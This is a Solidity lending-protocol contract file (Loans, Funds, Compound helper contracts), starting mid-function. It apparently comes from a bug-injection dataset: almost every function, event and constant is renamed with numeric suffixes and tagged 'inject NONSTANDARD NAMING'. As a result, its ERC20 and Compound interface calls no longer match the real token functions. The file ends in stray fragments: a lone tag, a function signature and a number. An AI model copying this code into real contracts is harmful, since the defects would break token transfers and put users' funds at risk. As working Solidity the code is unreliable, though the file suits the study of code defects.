funds.DECREASETOTALBORROW522(loans[loan].principal); funds.CALCGLOBALINTEREST773(); } } else { require(sales.NEXT199(loan) < max_num_liquidations552, "Loans.liquidate: Max number of liquidations reached"); require(!sales.ACCEPTED582(sales.SALEINDEXBYLOAN897(loan, sales.NEXT199(loan) - 1)), "Loans.liquidate: Previous liquidation already accepted"); require( now > sales.SETTLEMENTEXPIRATION526(sales.SALEINDEXBYLOAN897(loan, sales.NEXT199(loan) - 1)), "Loans.liquidate: Previous liquidation settlement expiration hasn't expired" ); } require(token.BALANCEOF227(msg.sender) >= DDIV45(DISCOUNTCOLLATERALVALUE221(loan)), "Loans.liquidate: insufficient balance to liquidate"); require(token.TRANSFERFROM570(msg.sender, address(sales), DDIV45(DISCOUNTCOLLATERALVALUE221(loan))), "Loans.liquidate: Token transfer failed"); SecretHashes storage h = secretHashes[loan]; uint256 i = sales.NEXT199(loan); sale_ = sales.CREATE943( loan, loans[loan].borrower, loans[loan].lender, loans[loan].arbiter, msg.sender, h.secretHashAs[i], h.secretHashBs[i], h.secretHashCs[i], secretHash, pubKeyHash ); if (bools[loan].sale == false) { bools[loan].sale = true; require(token.TRANSFER744(address(sales), REPAID307(loan)), "Loans.liquidate: Token transfer to Sales contract failed"); } if (address(col.ONDEMANDSPV389()) != address(0)) {col.CANCELSPV463(loan);} emit LIQUIDATE130(loan, secretHash, pubKeyHash); } } interface CTokenInterface { function REDEEM46(uint redeemTokens) external returns (uint); //inject NONSTANDARD NAMING function REDEEMUNDERLYING614(uint redeemAmount) external returns (uint); //inject NONSTANDARD NAMING function BORROW254(uint borrowAmount) external returns (uint); //inject NONSTANDARD NAMING function LIQUIDATEBORROW888(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint); //inject NONSTANDARD NAMING function LIQUIDATEBORROW888(address borrower, address cTokenCollateral) external payable; //inject NONSTANDARD NAMING function EXCHANGERATECURRENT666() external returns (uint); //inject NONSTANDARD NAMING function GETCASH889() external view returns (uint); //inject NONSTANDARD NAMING function TOTALBORROWSCURRENT914() external returns (uint); //inject NONSTANDARD NAMING function BORROWRATEPERBLOCK907() external view returns (uint); //inject NONSTANDARD NAMING function SUPPLYRATEPERBLOCK507() external view returns (uint); //inject NONSTANDARD NAMING function TOTALRESERVES190() external view returns (uint); //inject NONSTANDARD NAMING function RESERVEFACTORMANTISSA247() external view returns (uint); //inject NONSTANDARD NAMING function TOTALSUPPLY908() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF227(address owner) external view returns (uint256 balance); //inject NONSTANDARD NAMING function ALLOWANCE643(address, address) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE357(address, uint) external; //inject NONSTANDARD NAMING function TRANSFER744(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM570(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING } interface CERC20Interface { function MINT386(uint mintAmount) external returns (uint); //inject NONSTANDARD NAMING function REPAYBORROW556(uint repayAmount) external returns (uint); //inject NONSTANDARD NAMING function REPAYBORROWBEHALF985(address borrower, uint repayAmount) external returns (uint); //inject NONSTANDARD NAMING function BORROWBALANCECURRENT604(address account) external returns (uint); //inject NONSTANDARD NAMING } interface ERC20Interface { function ALLOWANCE643(address, address) external view returns (uint); //inject NONSTANDARD NAMING function BALANCEOF227(address) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE357(address, uint) external; //inject NONSTANDARD NAMING function TRANSFER744(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM570(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING } interface TrollerInterface { function ENTERMARKETS395(address[] calldata cTokens) external returns (uint[] memory); //inject NONSTANDARD NAMING function EXITMARKET275(address cTokenAddress) external returns (uint); //inject NONSTANDARD NAMING function GETASSETSIN764(address account) external view returns (address[] memory); //inject NONSTANDARD NAMING function GETACCOUNTLIQUIDITY185(address account) external view returns (uint, uint, uint); //inject NONSTANDARD NAMING } contract Helpers is DSMath { address public comptroller; function GETCOMPTROLLERADDRESS117() public view returns (address) { //inject NONSTANDARD NAMING return comptroller; } function ENTERMARKET780(address cErc20) internal { //inject NONSTANDARD NAMING TrollerInterface troller = TrollerInterface(GETCOMPTROLLERADDRESS117()); address[] memory markets = troller.GETASSETSIN764(address(this)); bool isEntered = false; for (uint i = 0; i < markets.length; i++) { if (markets[i] == cErc20) { isEntered = true; } } if (!isEntered) { address[] memory toEnter = new address[](1); toEnter[0] = cErc20; troller.ENTERMARKETS395(toEnter); } } function SETAPPROVAL391(address erc20, uint srcAmt, address to) internal { //inject NONSTANDARD NAMING ERC20Interface erc20Contract = ERC20Interface(erc20); uint tokenAllowance = erc20Contract.ALLOWANCE643(address(this), to); if (srcAmt > tokenAllowance) { erc20Contract.APPROVE357(to, 2**255); } } } contract ALCompound is Helpers { function MINTCTOKEN703(address erc20, address cErc20, uint tokenAmt) internal { //inject NONSTANDARD NAMING ENTERMARKET780(cErc20); ERC20Interface token = ERC20Interface(erc20); uint toDeposit = token.BALANCEOF227(address(this)); if (toDeposit > tokenAmt) { toDeposit = tokenAmt; } CERC20Interface cToken = CERC20Interface(cErc20); SETAPPROVAL391(erc20, toDeposit, cErc20); assert(cToken.MINT386(toDeposit) == 0); } function REDEEMUNDERLYING614(address cErc20, uint tokenAmt) internal { //inject NONSTANDARD NAMING CTokenInterface cToken = CTokenInterface(cErc20); SETAPPROVAL391(cErc20, 10**50, cErc20); uint toBurn = cToken.BALANCEOF227(address(this)); uint tokenToReturn = WMUL533(toBurn, cToken.EXCHANGERATECURRENT666()); if (tokenToReturn > tokenAmt) { tokenToReturn = tokenAmt; } require(cToken.REDEEMUNDERLYING614(tokenToReturn) == 0, "something went wrong"); } function REDEEMCTOKEN224(address cErc20, uint cTokenAmt) internal { //inject NONSTANDARD NAMING CTokenInterface cToken = CTokenInterface(cErc20); uint toBurn = cToken.BALANCEOF227(address(this)); if (toBurn > cTokenAmt) { toBurn = cTokenAmt; } SETAPPROVAL391(cErc20, toBurn, cErc20); require(cToken.REDEEM46(toBurn) == 0, "something went wrong"); } } contract Funds is DSMath, ALCompound { Loans loans; uint256 public constant default_liquidation_ratio475 = 1400000000000000000000000000; //inject NONSTANDARD NAMING uint256 public constant default_liquidation_penalty756 = 1000000000937303470807876289; //inject NONSTANDARD NAMING uint256 public constant default_min_loan_amt427 = 25 ether; //inject NONSTANDARD NAMING uint256 public constant default_max_loan_amt507 = 2**256-1; //inject NONSTANDARD NAMING uint256 public constant default_min_loan_dur981 = 6 hours; //inject NONSTANDARD NAMING uint256 public constant num_seconds_in_year521 = 365 days; //inject NONSTANDARD NAMING uint256 public constant max_loan_length66 = 10 * num_seconds_in_year521; //inject NONSTANDARD NAMING uint256 public constant max_uint_256251 = 2**256-1; //inject NONSTANDARD NAMING mapping (address => bytes32[]) public secretHashes; mapping (address => uint256) public secretHashIndex; mapping (address => bytes) public pubKeys; mapping (bytes32 => Fund) public funds; mapping (address => bytes32) public fundOwner; mapping (bytes32 => Bools) public bools; uint256 public fundIndex; uint256 public lastGlobalInterestUpdated; uint256 public tokenMarketLiquidity; uint256 public cTokenMarketLiquidity; uint256 public marketLiquidity; uint256 public totalBorrow; uint256 public globalInterestRateNumerator; uint256 public lastUtilizationRatio; uint256 public globalInterestRate; uint256 public maxUtilizationDelta; uint256 public utilizationInterestDivisor; uint256 public maxInterestRateNumerator; uint256 public minInterestRateNumerator; uint256 public interestUpdateDelay; uint256 public defaultArbiterFee; ERC20 public token; uint256 public decimals; CTokenInterface public cToken; bool compoundSet; address deployer; struct Fund { address lender; uint256 minLoanAmt; uint256 maxLoanAmt; uint256 minLoanDur; uint256 maxLoanDur; uint256 fundExpiry; uint256 interest; uint256 penalty; uint256 fee; uint256 liquidationRatio; address arbiter; uint256 balance; uint256 cBalance; } struct Bools { bool custom; bool compoundEnabled; } event CREATE22(bytes32 fund); //inject NONSTANDARD NAMING event DEPOSIT856(bytes32 fund, uint256 amount_); //inject NONSTANDARD NAMING event UPDATE341(bytes32 fund, uint256 maxLoanDur_, uint256 fundExpiry_, address arbiter_); //inject NONSTANDARD NAMING event REQUEST101(bytes32 fund, address borrower_, uint256 amount_, uint256 collateral_, uint256 loanDur_, uint256 requestTimestamp_); //inject NONSTANDARD NAMING event WITHDRAW160(bytes32 fund, uint256 amount_, address recipient_); //inject NONSTANDARD NAMING event ENABLECOMPOUND170(bytes32 fund); //inject NONSTANDARD NAMING event DISABLECOMPOUND118(bytes32 fund); //inject NONSTANDARD NAMING constructor( ERC20 token_, uint256 decimals_ ) public { require(address(token_) != address(0), "Funds.constructor: Token address must be non-zero"); require(decimals_ != 0, "Funds.constructor: Decimals must be non-zero"); deployer = msg.sender; token = token_; decimals = decimals_; utilizationInterestDivisor = 10531702972595856680093239305; maxUtilizationDelta = 95310179948351216961192521; globalInterestRateNumerator = 95310179948351216961192521; maxInterestRateNumerator = 182321557320989604265864303; minInterestRateNumerator = 24692612600038629323181834; interestUpdateDelay = 86400; defaultArbiterFee = 1000000000236936036262880196; globalInterestRate = ADD803(ray271, DIV358(globalInterestRateNumerator, num_seconds_in_year521)); } function SETLOANS600(Loans loans_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setLoans: Only the deployer can perform this"); require(address(loans) == address(0), "Funds.setLoans: Loans address has already been set"); require(address(loans_) != address(0), "Funds.setLoans: Loans address must be non-zero"); loans = loans_; require(token.APPROVE357(address(loans_), max_uint_256251), "Funds.setLoans: Tokens cannot be approved"); } function SETCOMPOUND395(CTokenInterface cToken_, address comptroller_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setCompound: Only the deployer can enable Compound lending"); require(!compoundSet, "Funds.setCompound: Compound address has already been set"); require(address(cToken_) != address(0), "Funds.setCompound: cToken address must be non-zero"); require(comptroller_ != address(0), "Funds.setCompound: comptroller address must be non-zero"); cToken = cToken_; comptroller = comptroller_; compoundSet = true; } function SETUTILIZATIONINTERESTDIVISOR326(uint256 utilizationInterestDivisor_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setUtilizationInterestDivisor: Only the deployer can perform this"); require(utilizationInterestDivisor_ != 0, "Funds.setUtilizationInterestDivisor: utilizationInterestDivisor is zero"); utilizationInterestDivisor = utilizationInterestDivisor_; } function SETMAXUTILIZATIONDELTA889(uint256 maxUtilizationDelta_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setMaxUtilizationDelta: Only the deployer can perform this"); require(maxUtilizationDelta_ != 0, "Funds.setMaxUtilizationDelta: maxUtilizationDelta is zero"); maxUtilizationDelta = maxUtilizationDelta_; } function SETGLOBALINTERESTRATENUMERATOR552(uint256 globalInterestRateNumerator_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setGlobalInterestRateNumerator: Only the deployer can perform this"); require(globalInterestRateNumerator_ != 0, "Funds.setGlobalInterestRateNumerator: globalInterestRateNumerator is zero"); globalInterestRateNumerator = globalInterestRateNumerator_; } function SETGLOBALINTERESTRATE215(uint256 globalInterestRate_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setGlobalInterestRate: Only the deployer can perform this"); require(globalInterestRate_ != 0, "Funds.setGlobalInterestRate: globalInterestRate is zero"); globalInterestRate = globalInterestRate_; } function SETMAXINTERESTRATENUMERATOR833(uint256 maxInterestRateNumerator_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setMaxInterestRateNumerator: Only the deployer can perform this"); require(maxInterestRateNumerator_ != 0, "Funds.setMaxInterestRateNumerator: maxInterestRateNumerator is zero"); maxInterestRateNumerator = maxInterestRateNumerator_; } function SETMININTERESTRATENUMERATOR870(uint256 minInterestRateNumerator_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setMinInterestRateNumerator: Only the deployer can perform this"); require(minInterestRateNumerator_ != 0, "Funds.setMinInterestRateNumerator: minInterestRateNumerator is zero"); minInterestRateNumerator = minInterestRateNumerator_; } function SETINTERESTUPDATEDELAY704(uint256 interestUpdateDelay_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setInterestUpdateDelay: Only the deployer can perform this"); require(interestUpdateDelay_ != 0, "Funds.setInterestUpdateDelay: interestUpdateDelay is zero"); interestUpdateDelay = interestUpdateDelay_; } function SETDEFAULTARBITERFEE996(uint256 defaultArbiterFee_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setDefaultArbiterFee: Only the deployer can perform this"); require(defaultArbiterFee_ <= 1000000000315522921573372069, "Funds.setDefaultArbiterFee: defaultArbiterFee cannot be less than -1%"); defaultArbiterFee = defaultArbiterFee_; } function LENDER92(bytes32 fund) public view returns (address) { //inject NONSTANDARD NAMING return funds[fund].lender; } function MINLOANAMT516(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].minLoanAmt;} else {return DIV358(default_min_loan_amt427, (10 ** SUB97(18, decimals)));} } function MAXLOANAMT810(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].maxLoanAmt;} else {return default_max_loan_amt507;} } function MINLOANDUR238(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].minLoanDur;} else {return default_min_loan_dur981;} } function MAXLOANDUR299(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING return funds[fund].maxLoanDur; } function FUNDEXPIRY174(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING return funds[fund].fundExpiry; } function INTEREST523(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].interest;} else {return globalInterestRate;} } function PENALTY434(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].penalty;} else {return default_liquidation_penalty756;} } function FEE426(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].fee;} else {return defaultArbiterFee;} } function LIQUIDATIONRATIO684(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].liquidationRatio;} else {return default_liquidation_ratio475;} } function ARBITER4(bytes32 fund) public view returns (address) { //inject NONSTANDARD NAMING return funds[fund].arbiter; } function BALANCE334(bytes32 fund) public returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].compoundEnabled) { return WMUL533(funds[fund].cBalance, cToken.EXCHANGERATECURRENT666()); } else { return funds[fund].balance; } } function CTOKENEXCHANGERATE725() public returns (uint256) { //inject NONSTANDARD NAMING if (compoundSet) { return cToken.EXCHANGERATECURRENT666(); } else { return 0; } } function CUSTOM642(bytes32 fund) public view returns (bool) { //inject NONSTANDARD NAMING return bools[fund].custom; } function SECRETHASHESCOUNT698(address addr_) public view returns (uint256) { //inject NONSTANDARD NAMING return secretHashes[addr_].length; } function CREATE943( //inject NONSTANDARD NAMING uint256 maxLoanDur_, uint256 fundExpiry_, address arbiter_, bool compoundEnabled_, uint256 amount_ ) external returns (bytes32 fund) { require(funds[fundOwner[msg.sender]].lender != msg.sender, "Funds.create: Only one loan fund allowed per address"); require( ENSURENOTZERO255(maxLoanDur_, false) < max_loan_length66 && ENSURENOTZERO255(fundExpiry_, true) < now + max_loan_length66, "Funds.create: fundExpiry and maxLoanDur cannot exceed 10 years" ); if (!compoundSet) {require(compoundEnabled_ == false, "Funds.create: Cannot enable Compound as it has not been configured");} fundIndex = ADD803(fundIndex, 1); fund = bytes32(fundIndex); funds[fund].lender = msg.sender; funds[fund].maxLoanDur = ENSURENOTZERO255(maxLoanDur_, false); funds[fund].fundExpiry = ENSURENOTZERO255(fundExpiry_, true); funds[fund].arbiter = arbiter_; bools[fund].custom = false; bools[fund].compoundEnabled = compoundEnabled_; fundOwner[msg.sender] = bytes32(fundIndex); if (amount_ > 0) {DEPOSIT909(fund, amount_);} emit CREATE22(fund); } function CREATECUSTOM959( //inject NONSTANDARD NAMING uint256 minLoanAmt_, uint256 maxLoanAmt_, uint256 minLoanDur_, uint256 maxLoanDur_, uint256 fundExpiry_, uint256 liquidationRatio_, uint256 interest_, uint256 penalty_, uint256 fee_, address arbiter_, bool compoundEnabled_, uint256 amount_ ) external returns (bytes32 fund) { require(funds[fundOwner[msg.sender]].lender != msg.sender, "Funds.create: Only one loan fund allowed per address"); require( ENSURENOTZERO255(maxLoanDur_, false) < max_loan_length66 && ENSURENOTZERO255(fundExpiry_, true) < now + max_loan_length66, "Funds.createCustom: fundExpiry and maxLoanDur cannot exceed 10 years" ); require(maxLoanAmt_ >= minLoanAmt_, "Funds.createCustom: maxLoanAmt must be greater than or equal to minLoanAmt"); require(ENSURENOTZERO255(maxLoanDur_, false) >= minLoanDur_, "Funds.createCustom: maxLoanDur must be greater than or equal to minLoanDur"); if (!compoundSet) {require(compoundEnabled_ == false, "Funds.createCustom: Cannot enable Compound as it has not been configured");} fundIndex = ADD803(fundIndex, 1); fund = bytes32(fundIndex); funds[fund].lender = msg.sender; funds[fund].minLoanAmt = minLoanAmt_; funds[fund].maxLoanAmt = maxLoanAmt_; funds[fund].minLoanDur = minLoanDur_; funds[fund].maxLoanDur = ENSURENOTZERO255(maxLoanDur_, false); funds[fund].fundExpiry = ENSURENOTZERO255(fundExpiry_, true); funds[fund].interest = interest_; funds[fund].penalty = penalty_; funds[fund].fee = fee_; funds[fund].liquidationRatio = liquidationRatio_; funds[fund].arbiter = arbiter_; bools[fund].custom = true; bools[fund].compoundEnabled = compoundEnabled_; fundOwner[msg.sender] = bytes32(fundIndex); if (amount_ > 0) {DEPOSIT909(fund, amount_);} emit CREATE22(fund); } function DEPOSIT909(bytes32 fund, uint256 amount_) public { //inject NONSTANDARD NAMING require(token.TRANSFERFROM570(msg.sender, address(this), amount_), "Funds.deposit: Failed to transfer tokens"); if (bools[fund].compoundEnabled) { MINTCTOKEN703(address(token), address(cToken), amount_); uint256 cTokenToAdd = DIV358(MUL111(amount_, wad510), cToken.EXCHANGERATECURRENT666()); funds[fund].cBalance = ADD803(funds[fund].cBalance, cTokenToAdd); if (!CUSTOM642(fund)) {cTokenMarketLiquidity = ADD803(cTokenMarketLiquidity, cTokenToAdd);} } else { funds[fund].balance = ADD803(funds[fund].balance, amount_); if (!CUSTOM642(fund)) {tokenMarketLiquidity = ADD803(tokenMarketLiquidity, amount_);} } if (!CUSTOM642(fund)) {CALCGLOBALINTEREST773();} emit DEPOSIT856(fund, amount_); } function UPDATE438( //inject NONSTANDARD NAMING bytes32 fund, uint256 maxLoanDur_, uint256 fundExpiry_, address arbiter_ ) public { require(msg.sender == LENDER92(fund), "Funds.update: Only the lender can update the fund"); require( ENSURENOTZERO255(maxLoanDur_, false) <= max_loan_length66 && ENSURENOTZERO255(fundExpiry_, true) <= now + max_loan_length66, "Funds.update: fundExpiry and maxLoanDur cannot exceed 10 years" ); funds[fund].maxLoanDur = maxLoanDur_; funds[fund].fundExpiry = fundExpiry_; funds[fund].arbiter = arbiter_; emit UPDATE341(fund, maxLoanDur_, fundExpiry_, arbiter_); } function UPDATECUSTOM705( //inject NONSTANDARD NAMING bytes32 fund, uint256 minLoanAmt_, uint256 maxLoanAmt_, uint256 minLoanDur_, uint256 maxLoanDur_, uint256 fundExpiry_, uint256 interest_, uint256 penalty_, uint256 fee_, uint256 liquidationRatio_, address arbiter_ ) external { require(bools[fund].custom, "Funds.updateCustom: Fund must be a custom fund"); require(maxLoanAmt_ >= minLoanAmt_, "Funds.updateCustom: maxLoanAmt must be greater than or equal to minLoanAmt"); require(ENSURENOTZERO255(maxLoanDur_, false) >= minLoanDur_, "Funds.updateCustom: maxLoanDur must be greater than or equal to minLoanDur"); UPDATE438(fund, maxLoanDur_, fundExpiry_, arbiter_); funds[fund].minLoanAmt = minLoanAmt_; funds[fund].maxLoanAmt = maxLoanAmt_; funds[fund].minLoanDur = minLoanDur_; funds[fund].interest = interest_; funds[fund].penalty = penalty_; funds[fund].fee = fee_; funds[fund].liquidationRatio = liquidationRatio_; } function REQUEST711( //inject NONSTANDARD NAMING bytes32 fund, address borrower_, uint256 amount_, uint256 collateral_, uint256 loanDur_, uint256 requestTimestamp_, bytes32[8] calldata secretHashes_, bytes calldata pubKeyA_, bytes calldata pubKeyB_ ) external returns (bytes32 loanIndex) { require(msg.sender == LENDER92(fund), "Funds.request: Only the lender can fulfill a loan request"); require(amount_ <= BALANCE334(fund), "Funds.request: Insufficient balance"); require(amount_ >= MINLOANAMT516(fund), "Funds.request: Amount requested must be greater than minLoanAmt"); require(amount_ <= MAXLOANAMT810(fund), "Funds.request: Amount requested must be less than maxLoanAmt"); require(loanDur_ >= MINLOANDUR238(fund), "Funds.request: Loan duration must be greater than minLoanDur"); require(loanDur_ <= SUB97(FUNDEXPIRY174(fund), now) && loanDur_ <= MAXLOANDUR299(fund), "Funds.request: Loan duration must be less than maxLoanDur and expiry"); require(borrower_ != address(0), "Funds.request: Borrower address must be non-zero"); require(secretHashes_[0] != bytes32(0) && secretHashes_[1] != bytes32(0), "Funds.request: SecretHash1 & SecretHash2 should be non-zero"); require(secretHashes_[2] != bytes32(0) && secretHashes_[3] != bytes32(0), "Funds.request: SecretHash3 & SecretHash4 should be non-zero"); require(secretHashes_[4] != bytes32(0) && secretHashes_[5] != bytes32(0), "Funds.request: SecretHash5 & SecretHash6 should be non-zero"); require(secretHashes_[6] != bytes32(0) && secretHashes_[7] != bytes32(0), "Funds.request: SecretHash7 & SecretHash8 should be non-zero"); loanIndex = CREATELOAN338(fund, borrower_, amount_, collateral_, loanDur_, requestTimestamp_); LOANSETSECRETHASHES310(fund, loanIndex, secretHashes_, pubKeyA_, pubKeyB_); LOANUPDATEMARKETLIQUIDITY912(fund, amount_); loans.FUND172(loanIndex); emit REQUEST101(fund, borrower_, amount_, collateral_, loanDur_, requestTimestamp_); } function WITHDRAW186(bytes32 fund, uint256 amount_) external { //inject NONSTANDARD NAMING WITHDRAWTO298(fund, amount_, msg.sender); } function WITHDRAWTO298(bytes32 fund, uint256 amount_, address recipient_) public { //inject NONSTANDARD NAMING require(msg.sender == LENDER92(fund), "Funds.withdrawTo: Only the lender can withdraw tokens"); require(BALANCE334(fund) >= amount_, "Funds.withdrawTo: Insufficient balance"); if (bools[fund].compoundEnabled) { uint256 cBalanceBefore = cToken.BALANCEOF227(address(this)); REDEEMUNDERLYING614(address(cToken), amount_); uint256 cBalanceAfter = cToken.BALANCEOF227(address(this)); uint256 cTokenToRemove = SUB97(cBalanceBefore, cBalanceAfter); funds[fund].cBalance = SUB97(funds[fund].cBalance, cTokenToRemove); require(token.TRANSFER744(recipient_, amount_), "Funds.withdrawTo: Token transfer failed"); if (!CUSTOM642(fund)) {cTokenMarketLiquidity = SUB97(cTokenMarketLiquidity, cTokenToRemove);} } else { funds[fund].balance = SUB97(funds[fund].balance, amount_); require(token.TRANSFER744(recipient_, amount_), "Funds.withdrawTo: Token transfer failed"); if (!CUSTOM642(fund)) {tokenMarketLiquidity = SUB97(tokenMarketLiquidity, amount_);} } if (!CUSTOM642(fund)) {CALCGLOBALINTEREST773();} emit WITHDRAW160(fund, amount_, recipient_); } function GENERATE494(bytes32[] calldata secretHashes_) external { //inject NONSTANDARD NAMING for (uint i = 0; i < secretHashes_.length; i++) { secretHashes[msg.sender].push(secretHashes_[i]); } } function SETPUBKEY352(bytes calldata pubKey_) external { //inject NONSTANDARD NAMING pubKeys[msg.sender] = pubKey_; } function ENABLECOMPOUND230(bytes32 fund) external { //inject NONSTANDARD NAMING require(compoundSet, "Funds.enableCompound: Cannot enable Compound as it has not been configured"); require(bools[fund].compoundEnabled == false, "Funds.enableCompound: Compound is already enabled"); require(msg.sender == LENDER92(fund), "Funds.enableCompound: Only the lender can enable Compound"); uint256 cBalanceBefore = cToken.BALANCEOF227(address(this)); MINTCTOKEN703(address(token), address(cToken), funds[fund].balance); uint256 cBalanceAfter = cToken.BALANCEOF227(address(this)); uint256 cTokenToReturn = SUB97(cBalanceAfter, cBalanceBefore); tokenMarketLiquidity = SUB97(tokenMarketLiquidity, funds[fund].balance); cTokenMarketLiquidity = ADD803(cTokenMarketLiquidity, cTokenToReturn); bools[fund].compoundEnabled = true; funds[fund].balance = 0; funds[fund].cBalance = cTokenToReturn; emit ENABLECOMPOUND170(fund); } function DISABLECOMPOUND481(bytes32 fund) external { //inject NONSTANDARD NAMING require(bools[fund].compoundEnabled, "Funds.disableCompound: Compound is already disabled"); require(msg.sender == LENDER92(fund), "Funds.disableCompound: Only the lender can disable Compound"); uint256 balanceBefore = token.BALANCEOF227(address(this)); REDEEMCTOKEN224(address(cToken), funds[fund].cBalance); uint256 balanceAfter = token.BALANCEOF227(address(this)); uint256 tokenToReturn = SUB97(balanceAfter, balanceBefore); tokenMarketLiquidity = ADD803(tokenMarketLiquidity, tokenToReturn); cTokenMarketLiquidity = SUB97(cTokenMarketLiquidity, funds[fund].cBalance); bools[fund].compoundEnabled = false; funds[fund].cBalance = 0; funds[fund].balance = tokenToReturn; emit DISABLECOMPOUND118(fund); } function DECREASETOTALBORROW522(uint256 amount_) external { //inject NONSTANDARD NAMING require(msg.sender == address(loans), "Funds.decreaseTotalBorrow: Only the Loans contract can perform this"); totalBorrow = SUB97(totalBorrow, amount_); } function CALCGLOBALINTEREST773() public { //inject NONSTANDARD NAMING marketLiquidity = ADD803(tokenMarketLiquidity, WMUL533(cTokenMarketLiquidity, CTOKENEXCHANGERATE725())); if (now > (ADD803(lastGlobalInterestUpdated, interestUpdateDelay))) { uint256 utilizationRatio; if (totalBorrow != 0) {utilizationRatio = RDIV519(totalBorrow, ADD803(marketLiquidity, totalBorrow));} if (utilizationRatio > lastUtilizationRatio) { uint256 changeUtilizationRatio = SUB97(utilizationRatio, lastUtilizationRatio); globalInterestRateNumerator = MIN456(maxInterestRateNumerator, ADD803(globalInterestRateNumerator, RDIV519(MIN456(maxUtilizationDelta, changeUtilizationRatio), utilizationInterestDivisor))); } else { uint256 changeUtilizationRatio = SUB97(lastUtilizationRatio, utilizationRatio); globalInterestRateNumerator = MAX638(minInterestRateNumerator, SUB97(globalInterestRateNumerator, RDIV519(MIN456(maxUtilizationDelta, changeUtilizationRatio), utilizationInterestDivisor))); } globalInterestRate = ADD803(ray271, DIV358(globalInterestRateNumerator, num_seconds_in_year521)); lastGlobalInterestUpdated = now; lastUtilizationRatio = utilizationRatio; } } function CALCINTEREST818(uint256 amount_, uint256 rate_, uint256 loanDur_) public pure returns (uint256) { //inject NONSTANDARD NAMING return SUB97(RMUL965(amount_, RPOW933(rate_, loanDur_)), amount_); } function ENSURENOTZERO255(uint256 value, bool addNow) public view returns (uint256) { //inject NONSTANDARD NAMING if (value == 0) { if (addNow) { return now + max_loan_length66; } return max_loan_length66; } return value; } function CREATELOAN338( //inject NONSTANDARD NAMING bytes32 fund, address borrower_, uint256 amount_, uint256 collateral_, uint256 loanDur_, uint256 requestTimestamp_ ) private returns (bytes32 loanIndex) { loanIndex = loans.CREATE943( now + loanDur_, [borrower_, LENDER92(fund), funds[fund].arbiter], [ amount_, CALCINTEREST818(amount_, INTEREST523(fund), loanDur_), CALCINTEREST818(amount_, PENALTY434(fund), loanDur_), CALCINTEREST818(amount_, FEE426(fund), loanDur_), collateral_, LIQUIDATIONRATIO684(fund), requestTimestamp_ ], fund ); } function LOANSETSECRETHASHES310( //inject NONSTANDARD NAMING bytes32 fund, bytes32 loan, bytes32[8] memory secretHashes_, bytes memory pubKeyA_, bytes memory pubKeyB_ ) private { loans.SETSECRETHASHES742( loan, [ secretHashes_[0], secretHashes_[1], secretHashes_[2], secretHashes_[3] ], [ secretHashes_[4], secretHashes_[5], secretHashes_[6], secretHashes_[7] ], GETSECRETHASHESFORLOAN447(ARBITER4(fund)), pubKeyA_, pubKeyB_, pubKeys[ARBITER4(fund)] ); } function LOANUPDATEMARKETLIQUIDITY912(bytes32 fund, uint256 amount_) private { //inject NONSTANDARD NAMING if (bools[fund].compoundEnabled) { uint256 cBalanceBefore = cToken.BALANCEOF227(address(this)); REDEEMUNDERLYING614(address(cToken), amount_); uint256 cBalanceAfter = cToken.BALANCEOF227(address(this)); uint256 cTokenToRemove = SUB97(cBalanceBefore, cBalanceAfter); funds[fund].cBalance = SUB97(funds[fund].cBalance, cTokenToRemove); if (!CUSTOM642(fund)) {cTokenMarketLiquidity = SUB97(cTokenMarketLiquidity, cTokenToRemove);} } else { funds[fund].balance = SUB97(funds[fund].balance, amount_); if (!CUSTOM642(fund)) {tokenMarketLiquidity = SUB97(tokenMarketLiquidity, amount_);} } if (!CUSTOM642(fund)) { totalBorrow = ADD803(totalBorrow, amount_); CALCGLOBALINTEREST773(); } } function GETSECRETHASHESFORLOAN447(address addr_) private returns (bytes32[4] memory) { //inject NONSTANDARD NAMING secretHashIndex[addr_] = ADD803(secretHashIndex[addr_], 4); require(SECRETHASHESCOUNT698(addr_) >= secretHashIndex[addr_], "Funds.getSecretHashesForLoan: Not enough secrets generated"); return [ secretHashes[addr_][SUB97(secretHashIndex[addr_], 4)], secretHashes[addr_][SUB97(secretHashIndex[addr_], 3)], secretHashes[addr_][SUB97(secretHashIndex[addr_], 2)], secretHashes[addr_][SUB97(secretHashIndex[addr_], 1)] ]; } }
inject NONSTANDARD NAMING
function APPROVED714(bytes32 loan) external view returns (bool) {
1,784,177
